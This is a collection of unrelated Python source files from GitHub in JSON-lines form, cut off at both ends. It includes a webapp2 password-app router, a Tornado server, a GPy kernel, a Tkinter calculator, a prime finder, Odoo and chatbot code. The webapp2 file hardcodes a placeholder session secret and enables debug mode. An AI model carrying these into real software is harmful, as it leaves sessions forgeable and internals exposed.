auto_ack=True)\n\nchannel.start_consuming()","repo_name":"BladimirP/INFO229","sub_path":"RabbitMQ/consumidor_wikipedia.py","file_name":"consumidor_wikipedia.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31497423341","text":"from distutils.command.config import config\nimport webapp2\n\nfrom myapp.views.login import *\nfrom myapp.views.core import *\nfrom myapp.views.home import *\nfrom myapp.views.manage import *\nfrom myapp.views.share import *\nfrom myapp.views.proxy import *\n\nconfig = {}\nconfig['webapp2_extras.sessions'] = {\n 'secret_key': 'my-super-secret-key',\n }\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', handler=SplashHandler, name='home'),\n webapp2.Route('/login', handler=LoginHandler, name='login'),\n webapp2.Route('/loginGuest', handler=LoginGuestHandler, name='loginGuest'),\n webapp2.Route('/mirror', handler=MirrorHandler, name='mirror'),\n webapp2.Route('/manage', handler=ManageHandler, name='manage'),\n webapp2.Route('/share', handler=ShareHandler, name='share'),\n webapp2.Route('/logout', handler=LogoutHandler, name='logout'),\n webapp2.Route('/table', handler=ManagedTableHandler, name='table'),\n webapp2.Route('/sharedTable', handler=SharedTableHandler, name='sharedTable'),\n webapp2.Route('/logs', handler=LogsHandler, name='logs'),\n webapp2.Route('/detect_login_form', handler=DetectLoginFormHandler, name='detect_login_form'),\n webapp2.Route('/decrypt', handler=DecryptPasswordHandler, name='decrypt'),\n webapp2.Route('/how-it-works', handler=SplashHandler, handler_method='how_it_works')\n], debug=True, config=config)\n","repo_name":"mousetraps/PassBuddy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"15723922454","text":"import logging.config\nimport os\n\nimport tornado.httpserver\nimport tornado.web\nfrom healthcheck import HealthCheck, TornadoHandler\nfrom tornado.ioloop import IOLoop\n\nfrom .transifex.client.transifex_client import MockTransifexClient, TransifexClientImpl\nfrom .transifex.transifex_service import TransifexService\nfrom .trivia.client.trivia_client import TriviaClientImpl, MockTriviaClient\nfrom .handlers import (\n TriviaSessionStartHandler,\n TriviaSessionResetHandler,\n TriviaSessionStopHandler,\n TriviaCategoriesHandler,\n UpsertQuestionsHandler,\n)\n\nMAX_BUFFER_SIZE = 200 * 1024 * 1024 # 200MB\nPORT = 8888\nLOGGING_CONF_FILE = \"logging.ini\"\n\n__logger = logging.getLogger(__name__)\n\n\ndef make_http_server(is_from_tests: bool):\n health = HealthCheck()\n\n if not is_from_tests:\n logging.config.fileConfig(\n fname=LOGGING_CONF_FILE, disable_existing_loggers=False\n )\n\n environment = os.environ.get(\"ENVIRONMENT\", \"dev\")\n __logger.info(\"Setup HTTP Tornado server for env: {}\".format(environment))\n\n if is_from_tests:\n trivia_client = MockTriviaClient()\n transifex_client = MockTransifexClient()\n else:\n trivia_client = TriviaClientImpl()\n transifex_client = TransifexClientImpl()\n\n transifex_service = TransifexService(transifex_client)\n\n paths = [\n (r\"/healthcheck\", TornadoHandler, dict(checker=health)),\n (\n r\"/session/start\",\n TriviaSessionStartHandler,\n dict(trivia_client=trivia_client),\n ),\n (\n r\"/session/reset\",\n TriviaSessionResetHandler,\n dict(trivia_client=trivia_client),\n ),\n (r\"/session/stop\", TriviaSessionStopHandler, dict(trivia_client=trivia_client)),\n (r\"/categories\", TriviaCategoriesHandler, dict(trivia_client=trivia_client)),\n (\n r\"/questions\",\n UpsertQuestionsHandler,\n dict(trivia_client=trivia_client, transifex_service=transifex_service),\n ),\n ]\n\n if environment == \"prod\":\n return make_prod_server(paths)\n else:\n return make_dev_server(paths)\n\n\ndef make_prod_server(paths):\n app = tornado.web.Application(paths)\n server = tornado.httpserver.HTTPServer(app, max_buffer_size=MAX_BUFFER_SIZE)\n server.bind(address=\"0.0.0.0\", port=PORT)\n server.start(0)\n return app\n\n\ndef make_dev_server(paths):\n app = tornado.web.Application(paths, debug=True)\n app.listen(address=\"0.0.0.0\", port=PORT, max_buffer_size=MAX_BUFFER_SIZE)\n return app\n\n\ndef start_http_server():\n make_http_server(is_from_tests=False)\n __logger.info(\"Starting IOLoop...\")\n IOLoop.current().start()\n\n\nif __name__ == \"__main__\":\n start_http_server()\n","repo_name":"sgeorgakis/trivia","sub_path":"src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27117651354","text":"import numpy as np\nfrom .kern import CombinationKernel\nfrom ...util.caching import Cache_this\nimport itertools\nfrom functools import reduce\n\n\ndef numpy_invalid_op_as_exception(func):\n \"\"\"\n A decorator that allows catching numpy invalid operations\n as exceptions (the default behaviour is raising warnings).\n \"\"\"\n def func_wrapper(*args, **kwargs):\n np.seterr(invalid='raise')\n result = func(*args, **kwargs)\n np.seterr(invalid='warn')\n return result\n return func_wrapper\n\n\nclass Prod(CombinationKernel):\n \"\"\"\n Computes the product of 2 kernels\n\n :param k1, k2: the kernels to multiply\n :type k1, k2: Kern\n :rtype: kernel object\n\n \"\"\"\n def __init__(self, kernels, name='mul'):\n for i, kern in enumerate(kernels[:]):\n if isinstance(kern, Prod):\n del kernels[i]\n for part in kern.parts[::-1]:\n kern.unlink_parameter(part)\n kernels.insert(i, part)\n super(Prod, self).__init__(kernels, name)\n\n @Cache_this(limit=2, force_kwargs=['which_parts'])\n def K(self, X, X2=None, which_parts=None):\n if which_parts is None:\n which_parts = self.parts\n elif not isinstance(which_parts, (list, tuple)):\n # if only one part is given\n which_parts = [which_parts]\n return reduce(np.multiply, (p.K(X, X2) for p in which_parts))\n\n @Cache_this(limit=2, force_kwargs=['which_parts'])\n def Kdiag(self, X, which_parts=None):\n if which_parts is None:\n which_parts = self.parts\n return reduce(np.multiply, (p.Kdiag(X) for p in which_parts))\n\n def update_gradients_full(self, dL_dK, X, X2=None):\n if len(self.parts)==2:\n self.parts[0].update_gradients_full(dL_dK*self.parts[1].K(X,X2), X, X2)\n self.parts[1].update_gradients_full(dL_dK*self.parts[0].K(X,X2), X, X2)\n else:\n for combination in itertools.combinations(self.parts, len(self.parts) - 1):\n prod = reduce(np.multiply, [p.K(X, X2) for p in combination])\n to_update = list(set(self.parts) - set(combination))[0]\n to_update.update_gradients_full(dL_dK * prod, X, X2)\n\n def update_gradients_diag(self, dL_dKdiag, X):\n if len(self.parts)==2:\n self.parts[0].update_gradients_diag(dL_dKdiag*self.parts[1].Kdiag(X), X)\n self.parts[1].update_gradients_diag(dL_dKdiag*self.parts[0].Kdiag(X), X)\n else:\n for combination in itertools.combinations(self.parts, len(self.parts) - 1):\n prod = reduce(np.multiply, [p.Kdiag(X) for p in combination])\n to_update = list(set(self.parts) - set(combination))[0]\n to_update.update_gradients_diag(dL_dKdiag * prod, X)\n\n def gradients_X(self, dL_dK, X, X2=None):\n target = np.zeros(X.shape)\n if len(self.parts)==2:\n target += self.parts[0].gradients_X(dL_dK*self.parts[1].K(X, X2), X, X2)\n target += self.parts[1].gradients_X(dL_dK*self.parts[0].K(X, X2), X, X2)\n else:\n for combination in itertools.combinations(self.parts, len(self.parts) - 1):\n prod = reduce(np.multiply, [p.K(X, X2) for p in combination])\n to_update = list(set(self.parts) - set(combination))[0]\n target += to_update.gradients_X(dL_dK * prod, X, X2)\n return target\n\n def gradients_X_diag(self, dL_dKdiag, X):\n target = np.zeros(X.shape)\n if len(self.parts)==2:\n target += self.parts[0].gradients_X_diag(dL_dKdiag*self.parts[1].Kdiag(X), X)\n target += self.parts[1].gradients_X_diag(dL_dKdiag*self.parts[0].Kdiag(X), X)\n else:\n k = self.Kdiag(X)*dL_dKdiag\n for p in self.parts:\n target += p.gradients_X_diag(k/p.Kdiag(X),X)\n return target\n\n\n","repo_name":"dechamoungsri/Stress-tone-classification","sub_path":"GPy/kern/_src/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"69947161381","text":"#! /usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n# #############################################################\n# #####################\n# ### PLOT ATM FILE ###\n# #####################\n\ndir = os.getcwd()\n\natmname = \"Compares_ExplFalse_100i_20l_30s_full\"\n\nfilename = '/results/' + atmname + '/' + atmname + '.dat'\nT, CO, CH4, H2O, N2, NH3 = np.loadtxt(dir + filename, dtype=float, comments='#', delimiter=None, converters=None, skiprows=13, usecols=(2, 8, 9, 10, 11, 12), unpack=True)\n\nplt.ion()\nplt.figure(1)\nplt.clf()\n\n# H2O condensate below 273 K\nH2O[T < 273] = 1e-50\n\n\nplt.plot(T, np.log10(CO ), 'r-', label=\"CO\")\nplt.plot(T, np.log10(CH4), '-', color = 'k', label=\"CH4\")\nplt.plot(T, np.log10(H2O), '-', color = 'cyan', label=\"H2O\")\nplt.plot(T, np.log10(N2 ), '-', color = 'g', label=\"N2\")\nplt.plot(T, np.log10(NH3), '-', color = 'b', label=\"NH3\")\n\nplt.title(atmname, fontsize=14)\nplt.xlabel('T [K]' , fontsize=14)\nplt.ylabel('log10 Mixing Fraction' , fontsize=14)\nplt.legend(loc='upper center', prop={'size':10}, ncol = 5)\nplt.ylim(-10, -2)\nplt.xlim(100, 3000)\nplt.savefig(atmname)\n'''\n\n\n# Overplot\ndir = os.getcwd()\nfilename = '/results/EndMarTest/EndMarTest.dat'\nT, CO, CH4, H2O, N2, NH3 = np.loadtxt(dir + filename, dtype=float, comments='#', delimiter=None, converters=None, skiprows=13, usecols=(2, 8, 9, 10, 11, 12), unpack=True, ndmin=0)\n\n#plt.ion()\n#plt.figure(1)\n#plt.clf()\n\n# H2O condensate below 273 K\nH2O[T < 273] = 1e-50\n\nplt.plot(T, np.log10(CO ), 'r+', label=\"No explore\")\nplt.plot(T, np.log10(CH4), '+', color = 'k')\nplt.plot(T, np.log10(H2O), '+', color = 'cyan')\nplt.plot(T, np.log10(N2 ), '+', color = 'g')\nplt.plot(T, np.log10(NH3), '+', color = 'b')\n\nplt.xlim(100, 3000)\nplt.ylim(-10, -2)\n\nplt.title('EndMarTestCompare', fontsize=14)\nplt.xlabel('T [K]' , fontsize=14)\nplt.ylabel('log10 Mixing Fraction' , fontsize=14)\nplt.legend(loc='lower center', prop={'size':10})\nplt.ylim(-10, -2)\nplt.xlim(100, 3000)\nplt.savefig(\"EndMarTestCompare\")\n\n\n\n\n\n# #############################################################\n# #########################\n# ### PLOT JANAF VALUES ###\n# #########################\n\ndir = os.getcwd() + '/outputs/'\ndesc = \"checkJANAF/\"\nfiles = np.array([])\nfor i in np.arange(np.size(T)):\n files = np.append(files, dir + desc + \"JANAF_check_\" + '%.0f'%T[i] + 'K.txt')\n\nplt.ion()\nplt.figure(2)\nplt.clf()\n\nplt.xlabel('Temperature')\nplt.ylabel('g_RT Values')\nplt.title('g_RT values vs. Temperature')\nfor i in np.arange(np.size(T)):\n stuff = np.loadtxt(files[i], dtype =str, delimiter=None, unpack=True, ndmin=0)\n for k in np.arange(stuff[0].size):\n if stuff[0][k] == 'CO_g':\n plt.plot(T[i], stuff[1][k], 'r.')\n if stuff[0][k] == 'CH4_g':\n plt.plot(T[i], stuff[1][k], 'k.')\n if stuff[0][k] == 'H2O_g':\n plt.plot(T[i], stuff[1][k], 'c.')\n if stuff[0][k] == 'N2_ref':\n plt.plot(T[i], stuff[1][k], 'g.')\n if stuff[0][k] == 'NH3_g':\n plt.plot(T[i], stuff[1][k], 'b.')\n\nplt.show()\n\n\n\n'''\n","repo_name":"obowman/TEA","sub_path":"plots_various.py","file_name":"plots_various.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13864782627","text":"from tkinter import *\n\nexpression = \" \"\n\n\ndef press(n):\n global expression\n if n == \"c\":\n entryText.set(\" \")\n expression = \" \"\n else:\n expression += n\n entryText.set(expression)\n\n\ndef calculate():\n global expression\n try:\n entryText.set(eval(expression))\n except:\n entryText.set(\"Unexpected Error!\")\n\n\n# Initial Window Design...\nscreen = Tk()\nscreen.geometry(\"439x378\")\nscreen.title(\"Basic Calculator\")\n# screen.iconbitmap('calculator-icon.ico') - On windows you can use this .ico icon\nentryText = StringVar()\n\n\n# Display of calculator...\ndisplay = Frame(screen)\ndisplayText = Entry(display, textvariable=entryText,\n font=\"Gotham 27\", width=17)\ndisplayText.pack(pady=10)\ndisplay.pack(fill=X, side=TOP)\n\n\n# Buttons grid of calculator...\n# First Row of buttons.\nbuttonGrid1 = Frame(screen)\nButton(buttonGrid1, text=\"C\", fg=\"red\", width=6, height=3, command=lambda: press(\"c\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid1, text=\"/\", width=6, height=3, command=lambda: press(\"/\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid1, text=\"9\", width=6, height=3, command=lambda: press(\"9\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid1, text=\"8\", width=6, height=3, command=lambda: press(\"8\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid1, text=\"7\", width=6, height=3, command=lambda: press(\"7\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\nbuttonGrid1.pack(fill=X, side=TOP, padx=10)\n\n\n# Second Row of buttons.\nbuttonGrid2 = Frame(screen)\nButton(buttonGrid2, text=\"%\", width=6, height=3, command=lambda: press(\"/100*\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid2, text=\"x\", width=6, height=3, command=lambda: press(\"*\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid2, text=\"6\", width=6, height=3, command=lambda: press(\"6\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid2, text=\"5\", width=6, height=3, command=lambda: press(\"5\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid2, text=\"4\", width=6, height=3, command=lambda: press(\"4\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nbuttonGrid2.pack(fill=X, side=TOP, padx=10)\n\n\n# Third Row of buttons.\nbuttonGrid3 = Frame(screen)\nButton(buttonGrid3, text=\"x²\", width=6, height=3, command=lambda: press(\"**2\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid3, text=\"-\", width=6, height=3, command=lambda: press(\"-\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid3, text=\"3\", width=6, height=3, command=lambda: press(\"3\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid3, text=\"2\", width=6, height=3, command=lambda: press(\"2\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid3, text=\"1\", width=6, height=3, command=lambda: press(\"1\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nbuttonGrid3.pack(fill=X, side=TOP, padx=10)\n\n\n# Fourth (Zero's) Row.\nbuttonGrid4 = Frame(screen)\nButton(buttonGrid4, text=\"=\", bg=\"orange\", width=6, height=3, command=calculate).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid4, text=\"+\", width=6, height=3, command=lambda: press(\"+\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid4, text=\".\", width=6, height=3, command=lambda: press(\".\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\n\nButton(buttonGrid4, text=\"0\", width=17, height=3, command=lambda: press(\"0\")).pack(\n side=RIGHT, fill=X, padx=4, pady=4)\nbuttonGrid4.pack(fill=X, side=TOP, padx=10)\n\n\nscreen.mainloop()\n","repo_name":"vedantgune99/Basic-Tkinter-Calculator","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9254824635","text":"\"\"\"\r\nlefttruncatable.py is written to print out all left-truncatable primes.\r\nAccording to \"Truncatable prime\" in\r\nhttps://en.wikipedia.org/wiki/Truncatable_prime,\r\nthere are 4260 decimal left-truncatable primes.\r\n\"\"\"\r\n\r\nimport time\r\nimport math\r\nimport sys\r\n\r\n# Parameters\r\nINIT_MILESTONE_INCREMENT = 100 # We report a milestone when we found\r\n # MILESTONE_INCREMENT more left\r\n # truncatable primes.\r\nNUM_LAST_LEFTTRNCPRIMES_TO_PRINT = 10 # Number of the largest (found) left trunctable primes to print.\r\n\r\ndef is_prime(x):\r\n \"\"\"\r\n is_prime() tests if the given argument x is a prime. It does not\r\n perform checks like whether x is an integer, etc.\r\n \"\"\"\r\n\r\n # Check if x is a multiple of 3\r\n if x % 3 == 0:\r\n return False\r\n\r\n # x is odd and it is not a multiple of 3. We check if x can be\r\n # divided by another integer by trying divisor_candidate of the\r\n # form (30k+m) and with k and m being an integer and see if x is\r\n # one of divisor_candidate's multiples. If x is found to be a\r\n # multiple of such divisor_candidate's, the loop can end.\r\n x_isprime = True\r\n divisor_candidate = 7\r\n while True:\r\n if divisor_candidate*divisor_candidate > x:\r\n break\r\n # 7, 11, 13 and 17\r\n if (x % divisor_candidate == 0) or \\\r\n (x % (divisor_candidate + 4) == 0) or \\\r\n (x % (divisor_candidate + 6) == 0) or \\\r\n (x % (divisor_candidate + 10) == 0):\r\n x_isprime = False\r\n break\r\n if (divisor_candidate + 12)*(divisor_candidate + 12) > x:\r\n break\r\n # 19, 23, 29 and 31\r\n if (x % (divisor_candidate + 12) == 0) or \\\r\n (x % (divisor_candidate + 16) == 0) or \\\r\n (x % (divisor_candidate + 22) == 0) or \\\r\n (x % (divisor_candidate + 24) == 0):\r\n x_isprime = False\r\n break\r\n divisor_candidate += 30\r\n\r\n return x_isprime\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n main() to generate a list of left truncatable primes.\r\n \"\"\"\r\n\r\n start_time = time.time()\r\n\r\n # The list left_truncatables starts with all the single-digit primes,\r\n # and they happen to be left-truncatable primes as well.\r\n left_truncatables = [2, 3, 5, 7]\r\n # There is no way to generate new left_truncatables by prepending digits\r\n # to 2 and 5. This implies is_prime(x) does not need to test divisibility\r\n # against 2 and 5.\r\n left_truncatable_seeds = [3, 7]\r\n milestone_increment = INIT_MILESTONE_INCREMENT\r\n next_milestone = milestone_increment\r\n\r\n while len(left_truncatable_seeds) > 0:\r\n left_truncatable_candidate = left_truncatable_seeds.pop(0)\r\n\r\n # left truncatable primes contain no 0, so we want to check if\r\n # we obtain another left truncatable prime by prepending a nonzero\r\n # digit to its left.\r\n next_power10 = 1\r\n while next_power10 <= left_truncatable_candidate:\r\n next_power10 *= 10\r\n for i in range(1, 10):\r\n left_truncatable_candidate += next_power10\r\n if is_prime(left_truncatable_candidate):\r\n left_truncatable_seeds.append(left_truncatable_candidate)\r\n left_truncatables.append(left_truncatable_candidate)\r\n if len(left_truncatables) == next_milestone:\r\n print('Milestone %d: %d' % (next_milestone, left_truncatable_candidate))\r\n if next_milestone == 4000:\r\n milestone_increment = 10\r\n if next_milestone == 4200:\r\n milestone_increment = 1\r\n next_milestone += milestone_increment\r\n \r\n elapsed_time = time.time() - start_time\r\n left_truncatables.sort()\r\n\r\n # Printing some information.\r\n print('\\nWe found %d left-truncatable primes so far in %0.4f seconds.' \\\r\n % (len(left_truncatables), elapsed_time))\r\n print(\"The largest left-truncatable primes are:\")\r\n for left_truncatable in left_truncatables[-NUM_LAST_LEFTTRNCPRIMES_TO_PRINT:]:\r\n print(left_truncatable)\r\n return(0)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"tungcyang/PythonLeftTruncatablePrimes","sub_path":"lefttruncatable.py","file_name":"lefttruncatable.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6086287202","text":"import datetime\nfrom odoo import api, models, fields\n\n\nclass AccountSpread(models.Model):\n _inherit = 'account.spread'\n\n group_id = fields.Many2one(\n comodel_name='account.analytic.group',\n string='Zone',\n related='invoice_line_id.group_id',\n store=True,\n readonly=True,\n )\n account_analytic_id = fields.Many2one(\n comodel_name='account.analytic.account',\n string='Contract',\n related='invoice_line_id.account_analytic_id',\n store=True,\n readonly=True,\n )\n partner_id = fields.Many2one(\n comodel_name='res.partner',\n string='Lessee',\n related='invoice_line_id.account_analytic_id.partner_id',\n store=True,\n readonly=True,\n )\n date_start = fields.Date(\n string='Start Date',\n related='invoice_line_id.account_analytic_id.date_start',\n store=True,\n readonly=True,\n )\n date_end = fields.Date(\n string='End Date',\n related='invoice_line_id.account_analytic_id.date_end',\n store=True,\n readonly=True,\n )\n invoice_id = fields.Many2one(\n comodel_name='account.invoice',\n string='Invoice',\n related='invoice_line_id.invoice_id',\n store=True,\n readonly=True,\n )\n state = fields.Selection(\n [('draft', 'Draft'), ('active', 'Active'), ('inactive', 'Inactive')],\n string='Status',\n related='invoice_line_id.account_analytic_id.agreement_id.state',\n store=True,\n readonly=True,\n )\n\n def create(self, vals):\n # Overwrite spread date\n if vals.get('force_spread_date'):\n vals['spread_date'] = vals['force_spread_date']\n del vals['force_spread_date']\n return super().create(vals)\n\n @api.multi\n def _get_number_of_periods(self, month_day):\n # Overwrite function\n self.ensure_one()\n return self.period_number\n\n @api.multi\n def _compute_spread_board(self):\n self.ensure_one()\n super()._compute_spread_board()\n contract = self.invoice_line_id.account_analytic_id\n if contract:\n # If found contract, let recompute amount (Only ACM)\n total_amount = self.total_amount\n start_date = self.spread_date\n end_date = contract.date_end\n amount_per_day = total_amount / ((end_date - start_date).days + 1)\n unposted_amount = total_amount\n spread_lines = self.env['account.spread.line'].search([('spread_id', \"=\", self.id)], order='date, id')\n for index, spread_line in enumerate(spread_lines):\n # if found account move and state = 'post', continue it\n if spread_line.move_id.state == 'posted':\n unposted_amount -= spread_line.amount\n continue\n # Calculate amount\n if index + 1 == 1:\n amount = amount_per_day * ((spread_line.date - self.spread_date).days + 1)\n elif index + 1 == self.period_number:\n amount = unposted_amount\n else:\n amount = amount_per_day * ((spread_line.date - (spread_lines[index - 1].date + datetime.timedelta(days=1))).days + 1)\n amount = self.currency_id.round(amount)\n unposted_amount -= amount\n spread_line.write({\n 'amount': amount,\n })\n","repo_name":"ecosoft-odoo/acm","sub_path":"acm/acm_spread_cost_revenue/models/account_spread.py","file_name":"account_spread.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"3819074502","text":"import numpy as np\nimport cv2\nimport requests\nimport base64\nfrom timeit import default_timer\nfrom tqdm import tqdm\n\nvideoname = 'SIZ_2_Work_Area_View_13_2020-06-04_05%3A15%3A51.209912'\nresponse = requests.post('http://127.0.0.1:2299/get_video', json={'videoname': videoname})\nresponse = response.json()\n\nvisualization, decode_time = True, 0\nfor frame, frame_boxes in tqdm(list(zip(response['frames'], response['boxes']))):\n t = default_timer()\n # utf-8 string to bytes\n frame = base64.decodebytes(frame.encode())\n # bytes to encoded jpg img\n frame = np.frombuffer(frame, np.uint8)\n # decode jpg image\n frame = cv2.imdecode(frame, cv2.IMREAD_COLOR)\n decode_time += default_timer() - t\n\n # draw boxes and scores\n if visualization:\n for box in frame_boxes:\n score = box.split(',')[-1]\n x1, y1, x2, y2 = [int(s) for s in box.split(',')[:-1]]\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 0, 255), 2)\n cv2.putText(frame, score, (x1, y1 - 5), 1, 1, (255, 0, 0), 2)\n\n cv2.imshow(videoname, cv2.resize(frame, (0, 0), fx=1/3, fy=1/3))\n cv2.waitKey(1)\n\ndecode_time = decode_time * 1000 / len(response[\"frames\"])\nfps = 1000 / decode_time\nprint(f'average decode time: {decode_time} ms\\nframes per second: {fps}')\n\n","repo_name":"rydenisbak/attr_demo","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73041505700","text":"# -*- coding: utf-8 -*-\nimport glob\nimport json\nimport logging\nimport datetime\nimport subprocess\nimport urllib\nfrom random import randint\n\nimport os\nimport speech_recognition as sr\nimport redis\nimport requests\nfrom django.db import connection\nfrom fuzzywuzzy import fuzz\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.conf import settings\n\n\nrdb = redis.StrictRedis(host='localhost', port=6379)\nlogger = logging.getLogger(__name__)\ntunnel = \"https://chatbotepaes.ngrok.io\"\n\n\nclass WebhookResponse(APIView):\n\n def get(self, request):\n mode = request.query_params.get(\"hub.mode\", False)\n challenge = request.query_params.get(\"hub.challenge\", False)\n verify_token = request.query_params.get(\"hub.verify_token\", False)\n if mode == 'subscribe' and verify_token == settings.CONSTANTS['VERIFY_TOKEN']:\n logger.info(\"Validate token verify\")\n return Response(json.loads(challenge), status=200)\n else:\n logger.error(\"Please Validate the token\")\n return Response(status=403)\n\n # Recibe cualquier petición de FB\n def post(self, request):\n data = request.data\n logger.info(\"Llega petición\")\n logger.debug(data)\n if data['object'] == 'page':\n entry = data['entry']\n logger.info(\"Llega Page\")\n logger.info(\"Entradas: \"+str(len(entry)))\n for i in entry:\n # query = settings.CONSTANTS['QUERY_INSERT_EVENT_LOGS'] % (i['id'], i['messaging'][0]['sender']['id'],\n # i['messaging'][0]['timestamp'])\n # save_info_messages_events(i['messaging'][0]['sender']['id'], query)\n messaging = i['messaging']\n for j in messaging: # Evalúa los datos que llegan de la petición de FB\n info_session = check_session(j['sender']['id'])\n if info_session == -100 and j['postback']['payload'] != \"start\":\n save_chat(j['sender']['id'], \"start\", user_response=True)\n logger.debug(\"Renueva sesión\")\n send_text_message(j['sender']['id'], settings.CONSTANTS['RENEW_SESSION'], 2)\n classify_postback(j['sender']['id'], \"start\")\n else:\n rdb.hset(j['sender']['id'], \"last_request\", j['timestamp'])\n if \"message\" in j: # Si escriben un mensaje\n logger.debug(\"Llega mensaje\")\n classify_message(j['sender']['id'], j['message'])\n # save_chat(j['sender']['id'], j['message']['text'], user_response=True)\n # query = settings.CONSTANTS['QUERY_INSERT_MESSAGES_LOGS'] %\n # (j['message']['mid'], j['message']['text'], j['sender']['id'],\n # j['recipient']['id'], j['timestamp'])\n # save_info_messages_events(j['sender']['id'], query)\n elif \"postback\" in j: # Si oprimen un botón\n save_chat(j['sender']['id'], j['postback']['payload'], user_response=True)\n logger.debug(\"Llega Postback\")\n classify_postback(j['sender']['id'], j['postback']['payload'])\n # get_menus_db(j['postback']['payload'], j['sender']['id'])\n else:\n pass\n logger.info(\"Devuelve 200 OK\")\n return Response(status=200)\n\n\n# Util Methods\ndef get_file_audio(path, file_name):\n logger.debug(path)\n lstdir = os.walk(path)\n lstfiles = []\n for root, dirs, files in lstdir:\n for file in files:\n (nameFile, extension) = os.path.splitext(file)\n if nameFile.startswith(file_name):\n lstfiles.append(nameFile + extension)\n return lstfiles[randint(0, len(lstfiles))]\n\n\ndef get_buttons_format(data_buttons):\n array_buttons = []\n for db in data_buttons:\n array_buttons.append({\n \"type\": \"postback\",\n \"title\": db[1],\n \"payload\": db[0],\n })\n return array_buttons\n\n\ndef verify_response(sender_id):\n accepted = rdb.hget(sender_id, \"selection_type_practice\") or \"0\"\n logger.info(\"Verificando Mensaje\")\n logger.info(accepted)\n if int(accepted) == settings.CONSTANTS['MENU_AUDIO_ID']: # Audio\n return \"audio\"\n elif int(accepted) == settings.CONSTANTS['TEXT_MENU_AUDIO_ID']:\n return \"text\"\n else:\n return \"text\"\n\n\ndef reset_fields_db(sender_id, all=False):\n if all:\n rdb.hdel(sender_id, \"url_audio\", \"situation\", \"attemps_num\", \"pending_message\", \"rpta_audio\", \"audio_test\")\n rdb.hdel(sender_id, \"last_menu_id\")\n rdb.hdel(sender_id, \"last_menu_options_id\")\n else:\n rdb.hdel(sender_id, \"url_audio\", \"situation\", \"attemps_num\", \"pending_message\", \"rpta_audio\", \"audio_test\")\n\n\n\ndef similar(a, b):\n logger.debug(\"Primero: \"+ a)\n logger.debug(\"Segundo: \" + b)\n return fuzz.token_set_ratio(a, b)\n\n\ndef get_audio(sender_id, payload):\n url = payload['url']\n download_time = sender_id + \"_\" + str(datetime.datetime.now().timestamp())\n urllib.request.urlretrieve(url, settings.CONSTANTS['PATH_SAVE_AUDIOS'] % download_time)\n rdb.hset(sender_id, \"url_audio\", download_time)\n return download_time\n\n\ndef classify_postback(sender_id, postback):\n logger.info(\"Clasificando Postback\")\n logger.info(postback)\n if postback == \"start\": # Cuando oprime el botón de inicio\n reset_fields_db(sender_id, all=True)\n get_init_message_db(sender_id, init_message=True)\n else:\n if 8 <= int(postback) <= 10:\n save_user_selection(sender_id, postback)\n get_init_message_db(sender_id, postback)\n elif int(postback) == 5:\n calculate_historical(sender_id)\n get_init_message_db(sender_id, postback, menu_id=settings.CONSTANTS['CONTINUE_MENU_ID'])\n elif int(postback) == 6:\n get_init_message_db(sender_id, postback)\n get_init_message_db(sender_id, postback, menu_id=settings.CONSTANTS['CONTINUE_MENU_ID'])\n elif int(postback) == -500: # Regresar al menú anterior\n logger.info(\"Volver al menú anterior\")\n logger.info(int(rdb.hget(sender_id, \"last_menu_options_id\")))\n get_init_message_db(sender_id, int(rdb.hget(sender_id, \"last_menu_options_id\") or 0), go_back=True)\n elif int(postback) == -1000: # Regresar al menú anterior\n logger.info(\"Terminar Sesión\")\n end_session(sender_id)\n send_text_message(sender_id, 